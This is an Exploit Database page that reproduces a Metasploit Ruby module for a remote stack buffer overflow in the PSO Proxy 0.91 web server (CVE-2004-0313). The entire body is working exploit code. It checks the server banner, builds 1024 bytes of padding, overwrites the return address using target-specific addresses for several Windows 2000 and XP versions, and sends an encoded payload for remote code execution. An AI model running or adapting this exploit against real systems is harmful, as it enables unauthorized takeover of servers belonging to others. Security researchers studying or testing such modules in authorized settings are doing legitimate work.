PSOProxy 0.91 – Stack Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16790/

• ##
  # $Id: psoproxy91_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'PSO Proxy v0.91 Stack Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
  				If a client sends an excessively long string the stack is overwritten.
  			},
  			'Author' => 'Patrick Webster <patrick@aushack.com>',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-0313' ],
  					[ 'OSVDB', '4028' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/156' ],
  					[ 'BID', '9706' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 370,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  				# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
  					[ 'Windows 2000 Pro SP0-4 English',{ 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
  					[ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
  					[ 'Windows 2000 Pro SP0-4 Italian',{ 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
  					[ 'Windows XP Pro SP0/1 English',{ 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
  					[ 'Windows XP Pro SP2 English',	 { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Feb 20 2004'
  			))
  
  		register_options(
  			[
  				Opt::RPORT(8080),
  			], self.class)
  	end
  
  	def check
  		connect
  		sock.put("GET / HTTP/1.0\r\n\r\n")
  		banner = sock.get(-1,3)
  		if (banner =~ /PSO Proxy 0\.9/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		exploit = rand_text_alphanumeric(1024, payload_badchars)
  		exploit += [target['Ret']].pack('V') + payload.encoded
  
  		sock.put(exploit + "\r\n\r\n")
  
  		disconnect
  		handler
  	end
  end